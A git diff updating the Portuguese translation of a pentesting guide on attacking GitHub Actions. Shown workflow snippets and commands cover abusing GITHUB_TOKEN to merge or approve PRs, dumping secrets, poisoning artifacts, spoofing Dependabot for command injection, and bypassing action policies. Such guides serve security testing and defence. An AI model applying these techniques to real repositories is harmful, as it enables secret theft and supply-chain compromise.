diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 92c594a5d..6d9c5373a 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,58 +1,58 @@ -# Abusando do Github Actions +# Abusando de Github Actions {{#include ../../../banners/hacktricks-training.md}} ## Ferramentas -As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar aqueles vulneráveis: +As seguintes ferramentas são úteis para encontrar Github Action workflows e até localizar ones vulneráveis: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também sua lista de verificação em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também seu checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Informações Básicas Nesta página você encontrará: -- Um **resumo de todos os impactos** de um atacante conseguindo acessar um Github Action -- Diferentes maneiras de **obter acesso a uma ação**: -- Ter **permissões** para criar a ação -- Abusar de **gatilhos** relacionados a pull requests -- Abusar de **outras técnicas de acesso externo** -- **Pivotar** de um repositório já comprometido -- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados) +- Um **resumo de todos os impactos** caso um atacante consiga acesso a um Github Action +- Diferentes maneiras de **obter acesso a uma action**: +- Ter **permissões** para criar a action +- Abusar gatilhos relacionados a **pull request** +- Abusar outras técnicas de **external access** +- **Pivoting** a partir de um repo já comprometido +- Finalmente, uma seção sobre **post-exploitation** para abusar de uma action por dentro (causar os impactos mencionados) ## Resumo dos Impactos -Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions). +Para uma introdução sobre [**Github Actions verifique as informações básicas**](../basic-github-information.md#github-actions). -Se você pode **executar código arbitrário no GitHub Actions** dentro de um **repositório**, você pode ser capaz de: +Se você pode **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de: -- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP. -- **Comprometer implantações** e outros **artefatos**. -- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos. -- **Executar código em trabalhadores personalizados** para abusar do poder computacional e pivotar para outros sistemas. +- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP. +- **Comprometer deployments** e outros **artifacts**. +- Se o pipeline deploya ou armazena assets, você pode alterar o produto final, permitindo um supply chain attack. +- **Executar código em custom workers** para abusar da capacidade de computação e pivotar para outros sistemas. - **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`. ## GITHUB_TOKEN -Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção: +This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
-Este token é o mesmo que uma **Aplicação do Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`. +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note que o token **expira após a conclusão do trabalho**.\ -Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Note that the token **expires after the job has completed**.\ +These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Algumas coisas interessantes que você pode fazer com este token: +Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} @@ -66,7 +66,7 @@ https://api.github.com/repos///pulls//merge \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} -{{#tab name="Aprovar PR" }} +{{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ @@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="Criar PR" }} +{{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Note que em várias ocasiões você poderá encontrar **tokens de usuário do github dentro das envs do Github Actions ou nos segredos**. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização. +> Observe que, em várias ocasiões, você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repositório e a organização.
-Listar segredos na saída do Github Action +Listar secrets na saída do Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Obter shell reverso com segredos +Obter reverse shell com secrets ```yaml name: revshell on: @@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das ações: +É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das actions:
## Execução Permitida > [!NOTE] -> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**. +> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tem acesso para **create a new repo in the organization**, ou possui **write privileges over a repository**. > -> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](#post-exploitation-techniques-from-inside-an-action). +> Se você estiver neste cenário, pode consultar [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Execução a partir da Criação de Repositório +### Execução a partir da criação do repo -Caso membros de uma organização possam **criar novos repositórios** e você possa executar ações do github, você pode **criar um novo repositório e roubar os segredos definidos no nível da organização**. +No caso de membros de uma organização poderem **create new repos** e você puder executar github actions, você pode **create a new repo and steal the secrets set at organization level**. -### Execução a partir de um Novo Branch +### Execução a partir de uma nova branch -Se você puder **criar um novo branch em um repositório que já contém uma Ação do Github** configurada, você pode **modificá-la**, **carregar** o conteúdo e então **executar essa ação a partir do novo branch**. Dessa forma, você pode **exfiltrar segredos em nível de repositório e organização** (mas você precisa saber como eles são chamados). +Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** a action, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas é preciso saber como eles são chamados). -Você pode tornar a ação modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser): +> [!WARNING] +> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem aplicação externa (branch protections, protected environments, e protected tags), um contribuidor pode redirecionar um workflow para rodar na sua branch e abusar dos mounted secrets/permissions. + +Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é pushed** (dependendo de quão ruidoso você quer ser): ```yaml on: workflow_dispatch: # Launch manually @@ -177,49 +180,49 @@ branches: ``` --- -## Execução Forked +## Execução a partir de fork > [!NOTE] -> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las. +> Existem diferentes triggers que podem permitir que um atacante **execute um Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode ser capaz de comprometer elas. ### `pull_request` -O gatilho de workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow: +O workflow trigger **`pull_request`** vai executar o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
> [!NOTE] -> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e então enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**. +> Como a **limitação padrão** é para contribuintes **na primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e então enviar **outros PRs para abusar de seus novos `pull_request` privilégios**. > -> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~ +> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletar a conta dele.~~ -Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo como mencionado na [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um workflow é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas. +Um atacante poderia modificar a definição do Github Action para executar coisas arbitrárias e anexar ações arbitrárias. Entretanto, ele não conseguirá roubar secrets ou sobrescrever o repositório por causa das limitações mencionadas. > [!CAUTION] -> **Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!** +> **Sim, se o atacante alterar no PR o Github Action que será disparado, o Github Action dele será o que será usado e não o do repositório de origem!** -Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**. +Como o atacante também controla o código que está sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia por exemplo **fazer upload de artefatos maliciosos**. ### **`pull_request_target`** -O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão). +O workflow trigger **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão). -Note que o gatilho de workflow **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Observe que o workflow trigger **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target` [**consulte a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post do blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Pode parecer que, como o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**. +Pode parecer que, porque o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**. -E este terá **acesso a segredos**. +E este terá **acesso a secrets**. ### `workflow_run` -O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um workflow a partir de outro quando está `completo`, `solicitado` ou `em progresso`. +O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando ele está `completed`, `requested` ou `in_progress`. -Neste exemplo, um workflow é configurado para ser executado após a conclusão do workflow separado "Executar Testes": +Neste exemplo, um workflow está configurado para executar após a conclusão do workflow separado "Run Tests": ```yaml on: workflow_run: @@ -227,31 +230,31 @@ workflows: [Run Tests] types: - completed ``` -Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**. +Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **acessar secrets e write tokens, mesmo que o workflow anterior não fosse**. -Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho acionado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\ -O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**. +Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\ +O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de uma forma que o torna **vulnerável a RCE**. ### `workflow_call` TODO -TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Abusando da Execução Bifurcada +## Abusando da Execução a partir de Forks -Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github executar, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas: +Mencionamos todas as maneiras pelas quais um atacante externo poderia conseguir fazer um workflow do GitHub executar; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas: ### Execução de checkout não confiável -No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request). +No caso de **`pull_request`**, o workflow vai ser executado no **contexto do PR** (portanto ele irá executar o **código malicioso do PR**), mas alguém precisa **autorizar primeiro** e ele vai rodar com algumas [limitações](#pull_request). -No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser acionado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**. +No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser triggerado por **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**. > [!CAUTION] -> No entanto, se a **ação** tiver um **checkout de PR explícito** que **obterá o código do PR** (e não da base), usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado): +> No entanto, se a **action** tiver um **PR checkout explícito** que vai **obter o código do PR** (e não do base), ele irá usar o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado): -
# INSECURE. Fornecido apenas como exemplo.
+
# INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -279,32 +282,32 @@ message: |
 Thank you!
 

 
-O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **pacotes referenciados são controlados pelo autor do PR**.
+O código potencialmente **untrusted está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages referenciados são controlados pelo autor do PR**.
 
 > [!WARNING]
-> Um dork do github para procurar ações vulneráveis é: `event.pull_request pull_request_target extension:yml`, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).
+> Um github dork para procurar por actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes formas de configurar os jobs para serem executados de forma segura mesmo se a action estiver configurada de forma insegura (como usar condicionais sobre quem é o actor que gera o PR).
 
 ### Injeções de Script de Contexto 
 
-Observe que existem certos [**contextos do github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a ação do github estiver usando esses **dados para executar qualquer coisa**, isso pode levar à **execução de código arbitrário:**
+Note que existem certos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a github action estiver usando esses **dados para executar qualquer coisa**, isso pode levar a **execução arbitrária de código:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Injeção de Script GITHUB_ENV** 
+### **GITHUB_ENV** Injeção de Script 
 
-De acordo com a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer etapas subsequentes** em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
+Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
 
-Se um atacante puder **injetar qualquer valor** dentro dessa **variável env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
+Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
 
-Por exemplo ([**isso**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**isso**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
+Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de env **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
 
 

 
-### Dependabot e outros bots confiáveis
+### Dependabot and other trusted bots
 
-Conforme indicado em [**este post do blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Ação do Github que mescla qualquer PRR do `dependabot[bot]`, como em:
+Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR de `dependabot[bot]` como em:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Qual é um problema porque o campo `github.actor` contém o usuário que causou o último evento que acionou o fluxo de trabalho. E há várias maneiras de fazer o usuário `dependabot[bot]` modificar um PR. Por exemplo:
+O que é um problema porque o campo `github.actor` contém o usuário que causou o evento mais recente que acionou o workflow. E há várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
 
-- Fork o repositório da vítima
-- Adicione o payload malicioso à sua cópia
-- Ative o Dependabot no seu fork adicionando uma dependência desatualizada. O Dependabot criará um branch corrigindo a dependência com código malicioso.
-- Abra um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
-- Então, o atacante volta para o PR inicial que o Dependabot abriu em seu fork e executa `@dependabot recreate`
-- Então, o Dependabot realiza algumas ações nesse branch, que modificaram o PR sobre o repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do último evento que acionou o fluxo de trabalho (e, portanto, o fluxo de trabalho é executado).
+- Fazer fork do repositório da vítima
+- Adicionar o payload malicioso à sua cópia
+- Habilitar Dependabot no seu fork adicionando uma dependência desatualizada. Dependabot criará um branch corrigindo a dependência com código malicioso.
+- Abrir um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
+- Então, o atacante volta ao PR inicial que o Dependabot abriu no seu fork e executa `@dependabot recreate`
+- Então, o Dependabot realiza algumas ações nesse branch, que modificam o PR no repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do evento mais recente que acionou o workflow (e, portanto, o workflow é executado).
 
-Seguindo em frente, e se em vez de mesclar, a Github Action tivesse uma injeção de comando como em:
+Indo em frente, e se em vez de mesclar a Github Action tivesse uma command injection como em:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Bem, o post original do blog propõe duas opções para abusar desse comportamento, sendo a segunda:
+Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
 
-- Fork o repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
-- Crie uma nova branch com o código de injeção de shell malicioso.
-- Altere a branch padrão do repositório para essa.
-- Crie um PR a partir dessa branch para o repositório da vítima.
-- Execute `@dependabot merge` no PR que o Dependabot abriu em seu fork.
-- O Dependabot irá mesclar suas alterações na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o fluxo de trabalho e usando um nome de branch malicioso.
+- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
+- Crie uma nova branch com o código de shell injection malicioso.
+- Altere o branch padrão do repo para essa.
+- Crie um PR dessa branch para o repositório da vítima.
+- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
+- O Dependabot irá mesclar suas mudanças no branch padrão do seu fork, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o workflow e usando um nome de branch malicioso.
 
-### Ações do Github de Terceiros Vulneráveis
+### Vulnerable Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Como mencionado em [**este post do blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.
+As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositories.
 
-O problema é que se o parâmetro **`path`** não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.
+O problema é que, se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que depois podem ser usados ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante pode abusar disso para comprometer outros workflows que confiam no Artifact.
 
-Exemplo de fluxo de trabalho vulnerável:
+Exemplo de workflow vulnerável:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Isso pode ser atacado com este fluxo de trabalho:
+Isto pode ser atacado com este workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
 ```
 ---
 
-## Outro Acesso Externo
+## Outros Acessos Externos
 
-### Sequestro de Repositório de Namespace Deletado
+### Deleted Namespace Repo Hijacking
 
-Se uma conta mudar seu nome, outro usuário poderá registrar uma conta com esse nome após algum tempo. Se um repositório tinha **menos de 100 estrelas antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repositório com o mesmo nome** do que foi deletado.
+Se uma conta alterar seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **less than 100 stars previously to the change of name**, Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository with the same name** que o excluído.
 
 > [!CAUTION]
-> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
+> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
 
-Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se outros repositories estavam usando **dependencies from this user repos**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Pivotagem de Repositório
+## Repo Pivoting
 
 > [!NOTE]
-> Nesta seção, falaremos sobre técnicas que permitiriam **pivotar de um repositório para outro**, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior).
+> Nesta seção vamos falar sobre técnicas que permitirão **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso no primeiro (veja a seção anterior).
 
-### Envenenamento de Cache
+### Cache Poisoning
 
-Um cache é mantido entre **execuções de workflow no mesmo branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
+Um cache é mantido entre **workflow runs in the same branch**. Isso significa que, se um atacante conseguir **compromise** um **package** que então é armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também será capaz de **compromise** esse workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Envenenamento de Artefato
+### Artifact Poisoning
 
-Workflows podem usar **artefatos de outros workflows e até repositórios**, se um atacante conseguir **comprometer** a Github Action que **faz o upload de um artefato** que é posteriormente usado por outro workflow, ele poderá **comprometer os outros workflows**:
+Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir **compromise** o Github Action que **uploads an artifact** que é posteriormente usado por outro workflow, ele poderia **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Pós Exploração de uma Ação
+## Pós-exploração a partir de uma Action
 
+### Github Action Policies Bypass
+
+Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organização tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer download (`git clone`) da action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
+
+Exemplo:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### Acessando AWS e GCP via OIDC
 
-Verifique as seguintes páginas:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Verifique as seguintes páginas:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Acessando segredos 
+### Acessando secrets 
 
-Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
+Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
 
-- Se o segredo ou token estiver definido como uma **variável de ambiente**, pode ser acessado diretamente através do ambiente usando **`printenv`**.
+- Se o secret ou token estiver definido em uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
 
 

 
-Listar segredos na saída da Github Action
+Listar secrets na saída do Github Action
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 

 
-Obter shell reverso com segredos
+Obter reverse shell with secrets
